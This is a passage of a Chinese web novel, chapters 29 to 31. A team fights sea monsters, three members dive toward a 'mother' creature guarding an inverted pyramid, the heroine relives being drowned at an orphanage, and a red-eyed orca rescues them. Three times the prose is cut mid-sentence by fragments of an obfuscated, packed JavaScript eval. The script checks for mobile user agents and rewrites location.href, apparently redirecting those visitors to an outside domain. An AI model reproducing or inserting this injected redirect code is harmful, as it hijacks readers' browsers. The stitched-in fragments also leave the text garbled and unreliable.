一道若有似无的蓝光自伊札里斯号的最顶部升起起,并开始向下蔓延。 地菩萨的声音自广播里传来,“备用能源箱已装载,请各位继续为我争取时间,我会尽快修复操控系统。” 扶鸢按着依旧颤抖不止的右手,感慨道:“终于。” “还不能松懈。”唱鹿为她的手枪填充子弹,“在伊札里斯号的引擎重新启动之前,我们必须继续守住防线。” 有了保护罩,所有试图想要登船的异种都被隔绝在外。 清理掉甲板上的残余后,众人在中心点汇合。 一碰头,麻薯便问道:“你们发现没有?” 扶鸢和拓风点头。 唱鹿直接挑明道:“左翼的攻击最为频繁。” 方才她们分为两组,守着伊札里斯号的前半段与后半段。 双方都能明显地感觉到左右攻击频率的差距很大。 唱鹿还记得,伊札里斯号出海后第一次遭到母体的重击,也是从左翼而来。 其他人或许还没注意到,唱鹿已亲眼目睹。 伊扎里斯号的左下方,是倒金字塔的所在,有母体和大量异种正在守护。 只是如此吗? 不,不对。 防守和进攻是两种不同的行为,她们没有主动侵犯,遭到如此异常猛烈的进攻肯定还有其他理由。 那种感觉又来了。 有什么东西正在吸引着她,呼唤着她。 又或者,吸引的不是她。 而是她身上的魔方。 唱鹿恍然大悟,“海底有魔方!” “你是说若亚的……” “她的十有八九已经被异种吞进肚子里了,我说的是‘另一个’。” 其他人一惊,皆露出了难以置信的表情。 “魔方不是只存在于梦境里吗?”拓风不大确定,“我的魔方就是入梦后得到的。” 双胞胎兄弟对视一眼,“我们的也是。” 麻薯摇头,“我不是。我有一天醒过来,发现它就在我枕头边。我没去过梦境,家里也没有其他人,它突然出现,吓了我一跳。” 拓风和双胞胎兄弟都表示怀疑,毕竟是第一次听到这种情况。 “我的魔方是我妹妹留给我的。”扶鸢实话实说,“我不清楚她有没有去过梦境。” “我没去过梦境。”唱鹿言简意赅道。 她不能说太多,有些事还是隐瞒比较好。 如果坦白她的魔方是从其他受赐者手中夺来的,只会让本就动荡的人心变得更加难以揣摩。 “这不是重点。”唱鹿丝滑地将话题引向下一个阶段,“我问你们,你们有没有感觉到魔方之间存在某种吸引,也存在相处排斥?” “有,很明显。”欧泊和玉髓看向彼此。 “我也有!”麻薯举手,“上次遇见一个兽耳族,明明不认识,可我就是莫名其妙讨厌他!” “我说我怎么觉得有点……”拓风古怪地扫了眼唱鹿。 唱鹿笑笑,“讨厌我?” 29. 母体 029. 拓风不好意思地轻抠脸颊,耳廓微微泛红,“也不是讨厌,就是你说的,感觉有点莫名的排斥。” 又说:“现在静下来仔细感受,我也觉得海底有东西,它引好像在……诱着我。” 欧泊提出质疑,“可你们不是相互排斥吗?讨厌的人喜欢的东西,不应该也讨厌吗?” “这就好比A和B两个人相互讨厌,但她们都喜欢C。”唱鹿说,“这种情况在生活中很常见。” 玉髓皱眉,“你把魔方形容得像活生生的人。” 唱鹿调皮地歪了下脑袋,“谁能保证它们不是呢?” “我、我鸡皮疙瘩都起来了。”麻薯用力搓了搓手臂。 她的魔方是自己找上门来的,所以更能体会到唱鹿话语间的暗喻。 欧泊板着一张脸,“然后呢?就算海底真的有魔方,你打算怎么做?” 他紧盯着唱鹿,深知她在队伍中的威信远胜过地菩萨这个船长。 唱鹿简洁道:“下海。” 欧泊的语气降到冰点,“你明知道海底都是异种!” “最好的防守就是主动进攻。” “我们守住了!保护罩已经重新打开,我们现在很安全!” “以目前异种的攻势,保护罩最多坚持十分钟,撑不到地菩萨修好操控系统。” “那我们更应该留在船上,而不是主动去海底送死!” “船上的弹药库存并不足以我们对抗这么多的异种。我们只有六个人,人的体能同样有限。” “总好过——” 一句话未完,玉髓开口打断他,“哥!” 欧泊愣住,他甚至都不必和玉髓对视,便知道弟弟是站在唱鹿她们那边的。 没想到同心同感的弟弟也有和他意见相悖的一天。 欧泊脸上五味杂陈,最后凄然笑着点点头,“好,你们想去送死,我不阻拦。但我不会去,玉髓也不能去!” 他愤然而去,将船舱的门摔得震天响。 玉髓低声说了句“抱歉各位”,也随哥哥离开。 两人后走,拓风朝唱鹿挑了下眉毛,“只剩我们四个,该决定由谁下海了。” “既为主导,我自然是第一个要下去的。”唱鹿摊手,“没理由让别人为我的一意孤行而冲锋陷阵。” “我和唱鹿不能分开。”扶鸢说。 链路的存在注定她们必须同生共死。 麻薯急了,“那我也要——” “等等。”拓风打断她,“总要有人留下看住那两兄弟和船长,懂?” 麻薯咬住下唇不出声。 “你留下,我和她们一起下海。先别急着反驳,我的赐福能在海底保命,你更适合留在船上,应对某些突发情况。” 唱鹿也点头表示同意。 面对麻薯乞求的眼神,她没有心软,“拓风的确更适合,但你的责任也很重大,我需要你当我的眼睛,帮忙关注另外三个人的一举一动。” “好吧。”麻薯撇撇嘴,“那你们一定要小心。” 拓风站到三人的对面,严肃道:“既然人员定下了,那我有句丑话必须说在前头。” “你说。”唱鹿语调轻松,“我听听有多丑。” “……” 拓风假装没有因为她的冷幽默而想发笑,使劲控制面部肌肉,保持正经的模样,“我们下去的目的有二。一是转移异种的攻势,拖时间。二是趁机寻找魔方。” 总结得很到位,“没错。” “第一点事关你我的性命,我没有异议,一定全力配合。” “至于第二点,按照我以往的习惯和行内的规矩,可以彼此联手,也可以相互抢夺,向来都是各凭本事。” 话至此处,唱鹿已然能够推断出拓风的本职工作是什么。 因而问道:“拓风,不是你的真名吧?” 拓风一个眼刀抛过来,“你很聪明,也很敏锐。” 也大方承认,“的确不是。看你的反应,不像是到现在才有所察觉。” “人们对自己的名字都有理所应当地拥有感。通常都会说,我是某某,我叫某某,我的名字是某某。” 唱鹿点到为止,没有继续说下去。 在众人第一次进行自我介绍时,拓风对她们说的是“你们可以叫我拓风”。 本是一句很寻常的话,唱鹿只是留了个心眼,不想竟顺藤摸瓜得知更多。 拓风目光一凝。 她不得不重新审视眼前这个女人。 初见第一印象是发色特殊,莫名有些讨厌。接触下来,发现她冷静、果断,还颇有领导的才能。 而现在……望着唱鹿的眼睛,拓风感觉到一股深不可测的力量。 也许。 这世上真的存在天选之人。 * 换上深潜服,拿上水下专用枪械和特制的子弹,最后戴好防水头罩。 唱鹿第一时间打开小队通讯装置。 头罩上显示出另外两人当前的位置,以及各种数据。 她说:“检查装备、武器、通讯,汇报一下各自的情况。” 数十秒后,拓风答道:“检查完毕,一切正常。” 扶鸢紧随其后,“正常。” 唱鹿默默深吸一口气,“出发吧。” 她走向特殊更衣室后方的那扇黑色的门,扫瞄虹膜数据。 门打开,里面先是一小段平行的走廊,然后倾斜朝下。 一进走廊,天花板上喷涌出白色的气体,这些气体附着在深潜服的表面,能够增强防水性。 三人在走廊停留了一小会儿,让气体完全包裹全身后,再逐一往下走。 越往下走,越是幽深。 仔细听,还能听到周遭的异种在海水中游动的声音。 抵达最深处,只有一盏红灯亮起。 红灯背后又是一扇门,而这扇门出去便是数据海了。 三人相互交换了眼神。 拓风稍微后退,给唱鹿打了个“您先请”的手势。 唱鹿走到红灯下。 一道白光将她从头到脚扫描一遍,随后天花板和地板皆出现裂缝,一个透明的圆形罩子上下合并,将唱鹿关在里头。 这个球体是根据变色龙的变色特征研制出来的。 它可溶于海水,而在未溶解前,它将与周遭的海洋融为一体,暂时保护里面的人不被异种发觉。 然后便是最后一步。 墙壁两端伸出两只机械臂,将她朝前推,抵住门。 门开的瞬间,被包裹在圆球里的唱鹿感觉到一股极其强大的推力。 如同弹珠机里的弹珠,咻一声被发射了出去。 经过一条黑暗朝下的甬道,终于漂浮在海中。 有一只长了四条腿的异种从身侧游过。 因为圆球的变色保护,它没有察觉到她的存在。 通过头罩上的定位,唱鹿看到其他两人也已被投入海中。 圆球溶解需要三分钟,在这三分钟内,她无法通过肉眼直接定位其他队友的方向。 但从拓风的声音反应来看,必然是被海底的景象震撼到了。 “(脏话消音)!”拓风没忍住骂了一句,“好大一只章鱼!还有金字塔!这东西不是福音地区才有吗?” 其实在下水之前唱鹿就告诉过她,母体正守护着一座倒立的金字塔。 拓风也有心理准备,然而亲眼见到还是不敢置信,“我们要对付这玩意儿?” “你想吃烤章鱼?”唱鹿反问。 “不了,我现在一点也不饿,还有点想吐。”拓风说。 “我重申一遍,我们的目标是吸引异种的火力,并在活下来的前提条件下,尽可能找到魔方。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14914013|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >唱鹿环视一周,异种多得像田里的蝗虫,它们正轮流撞击着伊札里斯号的保护罩,试图再度攻上船。 圆球快溶解了,“拿出你们的武器。” 唱鹿先发制人,对准离她最近的异种开了一枪。 特质武器在水中有奇效,子弹射出去的速度和在陆上没有什么区别,瞬间将异种爆头。 这一举动引起了其他异种的注意。 它们嘶吼着,接连朝唱鹿游过来,但扶鸢和拓风也开枪了。 她们落在三个不同的方位,以夹击之势对伊札里斯号尾端的这一群异种发起了歼灭! 所有死于的异种都溶在海水中,就好像从未出现过一样。 “越打越多!”拓风收起火力,“我把这边的引开。” 说完,她在水里打了个旋儿,如同一条灵活的鱼,飞速朝另一头窜了出去。 这招果然有效,至少有三分之一的异种都被拓风引开。 她还一路释放赐福,利用海水中的氧气制造出一个个小型漩涡,又将追击她的异种消灭了大半。 “我现在知道她为什么要跟我们一起下来了。”扶鸢通过私聊频道对唱鹿说,“她在水里,就像回到家一样自在。” “清道夫只要求你能打,但成为一个渔民的门槛更高。游得快,胆子大,还不能近视。我们下海后只能通过头罩内置的系统辨别方向,拓风不需要,她通过水流的方向就能知道东西南北,感觉水温就能判断深度。” 唱鹿一面射杀异种,一面为扶鸢解答,还不忘观察拓风所处的位置。 拓风正在尽情地引诱、猎杀。 她简直所向披靡,近身的异种皆被漩涡吞噬。 异种的数量正在急剧下降。 原本密集地围攻着伊札里斯号,如今已经没有多余的力量去攻船了。 依照这个情况保持下去,三人很快就能返回伊札里斯号。 想必届时地菩萨应该已经修好了操控系统,返航将不再只是一种期盼。 然而凡事过于顺利,必定有鬼。 唱鹿发现一点很不对劲。 诚然拓风有意在吸引异种的火力,但那些原本将她和扶鸢视为目标的异种,竟也调转了方向去追拓风。 异种不具备智慧,并不会因为谁强谁弱就临时改变目标。 它们从来都是认定一个,不是你死就是我亡。 这些丑东西真的进化了? 还是说…… 不,不对。 唱鹿意识到问题所在,连忙高喊道:“拓风,不要再前进了,马上回来!” 拓风没有回应,属于她的那枚红点越来越远。 同时,也离母体和倒金字塔,越来越近。 唱鹿暗骂了句脏话,毫不犹豫地踹开一只想要接近她的异种,然后打开水下推进器,朝反方向追去。 可不管她把推进器的马力开到多大,死活就是追不上拓风。 拓风的速度快得像一只射出去的箭。 不管唱鹿怎么呼叫,不理会,不回应。 拓风已经不再使制造漩涡,而是通过赐福控制气体制造水流为自己增速,以便更快地游向海底深处的母体和金字塔。 那些缠绕在金字塔上的触手,触手上许许多多的眼睛突然睁开。 数十只明黄色的眼睛,瞳仁尖细,全都一并看向唱鹿。 不好。 她追拓风,何尝不是也在主动接近母体? 太迟了。 与那些眼睛对视上的瞬间,唱鹿完全无法动弹。 她的嘴巴、鼻子、眼睛、耳朵,全都被水淹没。 快要窒息了! 她挣扎着。 想把脑袋抬起水面,吸一口氧气,可涌来的只有水,大量的水。 她听见,有好几个小孩正在兴奋的鼓掌和高喊: “淹死她!淹死她!” 30. 过去 030. 按压在后脖颈上的那只手一松开,唱鹿立即把脑袋从水里抬起来。 她蹬腿往后退,大口大口地呼吸新鲜空气。 惊魂未定之余,心里也隐隐有点庆幸。 庆幸对方没有下死手,庆幸自己还活着。 “头儿,怎么松手啦?” “就是!我们都还没看够呢!” “瞧她平时一副高高在上看不起的样子,现在只能像狗一样在水里扑腾,真过瘾!” 唱鹿用袖子擦掉脸上的水。 抬头,她逐一与施暴者们对视。 他们或是讥笑着,或是冷眼旁观。 为首的那个最为高大,穿的衣服也最好,正是他把唱鹿按进了河里。 唱鹿的目光落到他身上时,他为首的嘴角抽搐了一下。 “你这是什么眼神?瞧不起我吗?” 这个男生是福利院里的霸王,已经年满十四岁,还找不到愿意领养他的人家。 他身后的那几个男生也是,都是福利院里的钉子户。 在福利院里,男生总是比女生更容易领养出去。 因为男生稍微大一点就能成为劳动力,但凡品行端正些的早已经被领走了。 只剩他们。 唱鹿一言不发,看着他门。 她和其他女孩没少受到这群钉子户的欺负。 床上被放死老鼠,牙膏里被挤进了洗洁精,吃饭吃到一半餐盘里被倒进一碗过期的牛奶……如此种种,家常便饭罢了。 大部分女孩都默默忍受,唱鹿不忍。 她永远冲在反抗的前线。 可她越是反抗,钉子户们的行为越是恶劣,以至于其他女孩也开始责怪她。 为什么不老老实实忍受,让其他女生也跟着受害。 正因如此,她被钉子户们强行拖走时,没有女生出来阻止。 更别说去向院长求助。 “头儿,她就是瞧不上我们。”有人拱火,“你看她,还敢瞪你呢。” “给她点教训,让她长长记性!看她以后还敢不敢冲我们甩脸色!” “揍她!揍她!” 怂恿之下,为首的男生一把抓住唱鹿的领口,拳头当即挥过来。 唱鹿本能地想要推开他。 她也不知道自己哪来的力气,竟能把一个大了自己八岁的男生推倒在地。 河边都是石子,大大小小,奇形怪状,其中不乏尖锐的。 男生跌在石头上,手肘被划出许多道细小的口子,血珠密密地渗出来。 其他男孩都看呆了。 他们也想不到,一个看起来瘦不拉几的六岁小女孩,竟然能打得过一个十四岁的男生。 在狗腿子们面前丢了脸面,男生勃然大怒。 他抓起一块又尖又长的石头,再次冲上来把唱鹿按倒在地。 唱鹿拼了命挣扎。 手脚并用,又捶又踹。 男生不得不使劲掐住她脖子,喊狗腿子们来帮忙。 寡不敌众,唱鹿的四肢很快被制住。 “你给我记着,这就是得罪我的下场!” 男生说完,用手肘压着她还不甘老实的脑袋,把石头对准了她的耳朵。 唱鹿心底的恐惧在这一刻抵达顶峰。 又来了。 又……? 对啊。 她左耳的听力早就损伤了。 那是十五年前的事,当时她只有六岁,可现在她早已长大成人。 而骑在她身上的这个男生…… 唱鹿一开口,嗓音还是六岁时的稚嫩,“你已经死了。” 男生握着石头的手就悬在她的耳朵上,闻言一怔,“你说什么?” “同样的招数,我不会上当两次。” - 往日的片段随着浪潮褪去。 唱鹿缓缓睁开眼睛,看到的依旧是这片数据海。 母体不安地在金字塔上蠕动着。 上百只的异种集中环绕在它周围,呈现出防守的姿态。 她第一时间通过头盔的定位确认扶鸢与拓风的方向。 代表她们两人的红点一动不动。 “扶鸢?拓风?” 没有人回应,频道里只剩滋滋的电流干扰声。 果然,她们也陷入了幻觉中。 必须赶紧唤醒两人。 可唱鹿一有行动,金字塔那头便会冲出几只异种过来干扰。 她不得不先解决掉眼前的麻烦。 头两发子弹先解决掉速度最快的那只,再补一枪给距离最近的。 紧接着一甩手,将打空的弹夹丢弃的同时,给了试图从后方偷袭的异种一个肘击,又顺势换上备用弹夹,对着左手边连开三枪。 这是她最后的弹药了。 接下来必须想办法自己制作武器。 然后,杀了母体。 尝试包围她的异种在枪声中消散无形,唱鹿趁机游向离她最近的一个小漩涡。 这是拓风留下的漩涡。 因为制作者陷入了幻觉之中,它的范围比原先小了很多,好在还没有消失。 唱鹿把手贴近漩涡,脑袋开始飞速转动。 漩涡,漩涡…… 有了。 她把推进器卸下来。 里头的能源已经用光了,带着也是负担。 举枪,对准推进器的扇叶连射,直到把整个风扇拆下来。 没了风扇,推进器只剩圆筒状的壳,正好可以拿来装漩涡。 她凝神定气,把两者的结合体想象成为一个装载了特殊子弹的火箭筒。 然后扛到肩上,对准母体。 “咻——!” 漩涡破甲弹以惊人的速度发射了出去。 这枚特制□□有着势不可挡的威力。 它将途中任何试图阻拦的异种全都炸得粉碎,结结实实地落在了母体的触手上。 那只长满眼珠的可怖触手直接被炸断,母体遭受攻击后立刻蠕动着躲到金字塔后方。 守卫的异种对天发出嘶鸣,朝唱鹿发起了反击。 一只状似鲛人的异种最先冲到她的眼前。 利爪正要落下,从侧面射出的子弹穿透了它的鳃部。 是扶鸢。 她那把清冷的嗓音久违地响起,“大敌当前还不开枪,是在等我救你吗?” “英雌救美。”拓风揶揄,“我就爱看这种八点档狗血百合戏。” “但我们不是那种关系。” “噢,那你之前还说你和唱鹿不能分开?” “这是事实。” 唱鹿:“……” 不是。 你们有人关心过我的想法吗? 还真有。 拓风这不就来了,“唱鹿怎么不说话,不说话我可当你是默认了啊!” 唱鹿:“我谢谢你。” 拓风:“您还挺客气。” 再这么胡诌下去,可得没完没了了。 唱鹿正欲喊停,前方不远处突然泛起一道水痕,微弱的光芒一闪而过。 那是一种诡谲的流光。 令所有窥见它的人趋之若鹜。 [魔方·拟造]更是对它产生了一种强烈的吸引。 像许久不见的老友,迫切地想要见面。 唱鹿确定那是另一块魔方。 却无法锁定它的位置。 它不是完全静止的。 相反,它一直在移动。 原本离唱鹿还有几米远,一闪一灭,便来到了触手可及的地方。 她刚要伸手去抓,魔方已经擦肩而过,晃荡至身后。 这块魔方好像有意在和她玩。 时而接近,时而又远离。 一下绕后,一下又贴到脸上。 送到嘴边的肉,哪有不吃的道理。 唱鹿定神观察它移动的规律。 左,左,右,左。 好机会! 她倏地出手! 魔方抓在手心,唯有她能见的屏幕在海水里展开: [名称:魔方·洞悉] [简述:不详] [层级:不详] [隶属:Ivvts] 和初次拿到[魔方·拟造]时一样,简述和层级都是不详。 唱鹿最在意的还是隶属后的名称—— Ivvts. 下一秒。 她的意识便被拽入了某个未知的领域里。 这里应该是某个人的家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919526|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是一种感觉,因为她其实看不到任何东西。 或者说,这里的东西都太大了。 大得超出她的想象,目之所及皆不能窥见。 有人在说话。 不对,是有两个人在聊天。 「Fedickomas,VievoleyAfkth.」 「Fedickomas.」 「Mvelits’aopstetivythvie’morie.」 「Idi.」 对话暂停了几秒。 「Nvu,Ivvts.」 「HeloIdlomvaopste,dlomvEzvis.」 - 唱鹿被推回了现实。 就像灵魂抽出一半又塞回了体内,不适感油然而来。 更不适的还在后头。 她看见母体松开了金字塔,以一种诡异的蠕动方式正在靠近。 她想逃。 可母体伸出触手已经缠住了的脚踝。 它没有像攻击欧泊那样,用吸盘在她身上剜出一个个血洞。 只是一圈一圈,一直往上缠绕。 等把唱鹿完全缠住后,触手开始往回拉。 它的身体部分有什么东西在转动,隔着一层皮,底下有什么东西圆圆的。 一只极其硕大的、占据了整个身体的独眼突然睁开。 它直视唱鹿,唱鹿也被迫与之对视。 一刹那,她听到好多人在说话。 每个人的嗓音和情绪都不一样,但都是那种她听不懂的奇怪语言。 欢笑。 怒骂。 哭嚎。 还有,迷乱癫狂的呓语。 同一时间,不断轰炸着她的脑袋。 唱鹿头痛欲裂。 她不想听下去了,也不想被这些触手捆着,可她根本没办法挣脱。 她在流血。 温热的血从她的鼻孔里往下淌,嘴里尝到了腥气。 不止是鼻子和嘴巴,耳朵里也热热的,好像有液体正在往外涌。 渐渐的,视野也染上了一层殷红。 原来七窍流血是这种感觉。 不痛,可是能很明显地感觉到生命力正在流逝,心脏跳动的力度也不似往常,一次比一次衰竭。 快死了。 她的四肢软绵无力,脊背莫名发冷。 脑袋早就不转了。 五感也正在消失,只剩下一种抽离感。 她感觉自己不属于这具身体。 也不属于这个世界。 远处传来动物的叫声。 尖锐而高亢,像是哨音,接连不断,在数据海里回荡着,向她逼近。 那是一头虎鲸。 一头有着红色眼睛的虎鲸。 也可能是因为她的眼睛在流血,所以看什么都染上了一层红。 虎鲸用头撞向母体。 抓着她的触手因这一撞全都松开,可她也没力气逃走了。 好想睡一觉。 沉沉地,睡一觉…… 唱鹿阖眼,任由自己沉入深海。 * 唱鹿做了个梦。 梦里她牵着某人的手,两人做了很多亲昵的事。 半梦半醒间,她听到有人在和她说话。 她尽力睁开眼睛,想看清那个人的容貌,辨认他到底是谁。 可不管她怎么瞧,只能看到一双红色的眼睛。 如同红宝石般绮丽无比。 “你还记得我吗?”眼睛的主人在问。 “你……”唱鹿还没完全清醒,可她知道自己不认识他,“是谁?” 那人没说话。 他握着她的手,放到自己脸上。 无限眷恋地紧贴着。 唱鹿现在什么力气都使不上来,感觉半死不活的。 眼皮特别重,倦意正在吞没她的思绪。 她强撑着抓住清醒的尾巴,“扶鸢……” “不用担心,她们很安全。”那人说,嗓音是唱鹿从未体验过的温柔和爱惜,“睡一会儿,好不好?” 他轻轻哼起歌,听起来像是某种摇篮曲。 她莫名感到安心,放松全身进入又一次梦乡。 31. 婚戒 031. 迷乱无章的呓语远去,五脏六腑的疼痛随之减弱。 她想醒过来,可身体不受控制,仿若是灵魂离体般,有种腾空感。 咚咚! 咚咚! 是心跳声,强而有力。 咚咚!咚咚! 如同现实世界传来的号角,一下把她拽回了身体里。 五感中恢复得最快的是听力。 唱鹿听见身侧有什么东西在噼里啪啦地响,暖意也从声音地来源朝自己渡来。 听觉和体感恢复后,她尝试睁开眼睛。 起初只能往上掀开一条小缝,隐约看见火舌在海风里摇晃。 “醒了?”有人问她。 她于是又把眼睛睁大了一点,张嘴想说话,发不出声音。 那人从篝火的另一侧走过来,把一根粗树枝举到她眼前。 树枝上扎着一条鱼,已经烤熟了,飘着香气。 “饿不饿?”拓风蹲在她身边。 “我……”唱鹿的声音还很嘶哑。 “行了别说了,我扶你起来。”说完,拓风弯腰揽住她的肩头,扶着她坐起来。 起身后,唱鹿才得以观察所处的位置。 这里应该是水瓶口岸的背面,成片的黑沙滩,裸露在外的礁石,还有自身后传来的大型货轮的汽笛声。 她的眼前就是数据海。 海水映照着夜色,幽深而神秘。 “晚上……?”唱鹿的嗓子像吞了刀片似的疼,说不出太多话来。 意思其实是,“现在已经是第二天晚上了吗?” 好在拓风能听懂,“现在是凌晨,天还没亮。” 唱鹿垂眸,没看见链路,因而又问:“扶……鸢……” 拓风朝她右后方努努嘴,“喏,在你后头呢。” 唱鹿艰难地偏过身,这一动作拉扯到了她的内脏,痛感席卷全身。 她看见扶鸢像个小孩一样蜷缩睡着,眉头紧皱。 她痛,扶鸢也痛。 痛得在睡梦中握紧了拳头,还微微咬紧了牙关。 拓风说:“你被母体抓住后,她也昏迷到现在。我算是知道你们为什么不能分开了,如果你死了,她也会死,对不对?” 事到如今也没什么好隐瞒了,唱鹿点头。 “也是赐福的作用?” 唱鹿又点头。 拓风叹了口气,撕下一块鱼肉丢到嘴里,“我现在是越来越看不懂这玩意儿了。你说它害人吧,危急关头还得靠它。你说它是好东西吧,它又会让人变得疯疯癫癫的。吃吗?烤熟了。” “不……饿。” 唱鹿很想完整地说一句话说,可嗓子不允许,“我们……怎么……” “说来还真有意思,竟然是一头虎鲸救了我们。”拓风陷入沉思,“按理说,过了浮沫区便不再有普通的海洋生物,更别说神秘海域了。” 虎鲸……? 为什么她记得是个人,一个有着红宝石般璀璨双瞳的人。 想起来了。 的确是虎鲸把母体创飞了,但把她救上岸的是一个人。 还是说,虎鲸其实就是那个人? 如果换做平时,唱鹿应该早有答案了。 可现在她的思绪太过杂乱,脑子也转不太动,光是回忆在海底发生的事就用了好长一段时间。 如果太过用力,思路还会断掉,剩下一片空白。 “哦对了,我刚刚和伊札里斯号联系过,船上的人都没事,估计还有半个小时就能回到口岸。我听麻薯说,他们还采集到了一批质量极佳的泡泡,都是极品,能卖不少钱。” “嗯……” 唱鹿又觉得累了。 她朝后躺,躺在黑沙滩上。 沙子的质地很柔软,身体稍微往下陷进去了一些。 拓风又往篝火里填了几根柴火,守着她们俩,不紧不慢地吃完了一整条鱼。 她看唱鹿还睁着眼睛望着夜空,便问道:“在想什么?” 唱鹿喃喃:“眼睛。” 它们的眼睛……猫,虎鲸,还有那个人,都是红色的,像红宝石。 或许就像她和扶鸢之前讨论过的那样,它们都是由同一个人变幻而成的。 这是一种能让人变幻为动物的赐福。 唱鹿之前怀疑红瞳黑猫把魔方碎片送给她,是为了引她入局。 但如果换个角度想想,如果她早已身在局中,而它是为了帮她才将魔方碎片带来呢? 今晚的情况也是。 她无意间被母体抓住,它又一次出现救了她,也救了其他人。 可它为什么要…… 唱鹿尝试回想那个人的外貌特征。 很诡异,任凭她如何努力,记忆深处只有一双红宝石般的眼瞳。 她不记得那人的长相。 不知道是高是矮,是胖是重。 也记不得那人的声音,甚至于连性别都是谜团。 “想不出答案就别想了。”拓风宽慰她,“我们在生死边缘走了一趟,有些事还是糊涂点的好。” 话虽如此,唱鹿还是放不下。 正是因为当时是在生死边缘,而她明明看见他了,怎么会记不住! 她一向是越到危机关头,记忆力会越强。 因为很多时候,破局的关键就藏在某些细枝末节之中,必须通过回忆才能找到。 她理应记住。 她认为她必须记得。 可她忘了。 忘得一干二净,除了一双漂亮的红眼睛之外,什么都忘了。 忘了那人是怎么把她救起来的,又做了什么,说了什么话。 哪怕是一小点,都没留在她的脑海里。 忘得太干净了。 这正是最诡异的所在。 拓风的通讯器响了。 她点开来看,说:“船长给我发了消息,说还是在水瓶口岸的3号停泊口汇合。我们如果现在就过去,时间应该正好。” 唱鹿没反应,她还在回忆里找线索。 拓风见状便说:“那我先过去,你等扶鸢醒了再一起过来吧。” 唱鹿思考太深,不知道拓风是什么时候离开的。 又过了很久,扶鸢的低吟让她回过神。 她用手肘撑起上半身,在沙滩上蹭着,蹭到扶鸢身边。 她低头看她,扶鸢也缓缓睁开了眼睛。 “你的头发……”扶鸢的声音很虚弱,“是风铃眼睛的颜色。” 唱鹿蹙眉。 是吗? 可她记得很清楚,风铃的虹膜是黑色的。 - 距离天亮还有一个小时。 唱鹿和扶鸢抵达水瓶口岸时,地菩萨已经在安排人手卸货了。 这趟出海虽然遇险,但也收获颇丰。 “多亏了那只虎鲸。”地菩萨高兴得合不拢嘴,“它把带到了一个很安全的打捞点,那里产出泡泡都是上等品质,欧泊和玉髓都忙不过来了。可惜麻薯不懂打捞,不然还能再多装一点。瞧我,光顾着说话,忘了给你们结算佣金。” 他点击转账,唱鹿和扶鸢各自收到了六万多通用币。 扶鸢诧异,“怎么比合同上规定的翻了三倍?” “那谁不是不在了吗……”地菩萨搓搓手,“这次你们也出了大力,本以为要空手而回,结果你瞧,这一船卖出去,至少能赚上百万。” 他是个商人,怎么样都不会亏的。 扶鸢留了个心眼,“其他人也拿这么多?” 她们来得晚,到时另外几位都已经离开了,只剩地菩萨还在停泊口指挥卸货。 地菩萨倒也没隐瞒,“你们这次是豁出性命了的,我也不是那么没眼力见的人。拓风和你们一样多,其他都只有四万。” 确实是豁出命了。 唱鹿从未受过这么严重的内伤,现在动一下都会疼得龇牙咧嘴。 扶鸢虽然和唱鹿有通感,实际没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926950|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有真的受伤。 因此只是觉得疼,但身体机能已经逐步恢复了。 她始终搀扶着唱鹿。 唱鹿也半靠在她身上。 听地菩萨这么说,唱鹿挑了下眉,“我不要、佣金。” 她勉强能说一句完整的话,嗓音仍旧嘶哑。 “我记着呢!鹿姐说好的事,我可不敢忘!”地菩萨满脸堆笑,凑到唱鹿身旁耳语,“您今晚确实幸苦了,入梦费用算我头上,就当犒劳您的付出。我下次再组织出海,您可一定要来捧场。” 这次出海,唱鹿的表现实在太过亮眼,地菩萨可不想因为一点蝇头小利就错过这一名大将。 保不定今后会组织一个固定的出海队呢…… 唱鹿听出他言语间的暗示,没有直接答应,“以后、再说。” 反正短时间内,她是不想再靠近数据海了。 地菩萨指了下自己的通讯器,说:“您什么时候准备好了再联系我,我随时候着。” 唱鹿没力气回应了,轻轻点头。 * 唱鹿蒙头一睡,睡到了下午。 她反复做着同一个梦,梦见和一个看不清轮廓的人去买结婚戒指。 她从众多珠宝中选中了一对镶嵌着红宝石的黑金戒指。 “不选钻石?” “我喜欢红宝石。”梦里的她说,声音里洋溢着幸福,“我会永远记得这个颜色。” “永远,是多远?” “远到哪怕我把你忘了,只要看到这对红宝石,我也会想起你。” 我一定会记得。 永远记得。 你的眼睛,就像红宝石一样。 唱鹿猛地睁开眼睛,上半身直接从床上弹起来。 熟悉的房间,有床,有衣柜,有镜子。 房门没关,门口站着熟悉的人,是扶鸢。 她显然是听到了卧室里的动静,匆匆从厨房赶来,手里还拿着一颗切到一半洋葱。 “做噩梦了?” 唱鹿摇头,“不是噩梦。” 是美梦。 可一醒来,又忘了是什么样的美梦。 唱鹿想揉揉脸和眼睛,好让自己更清醒一点。 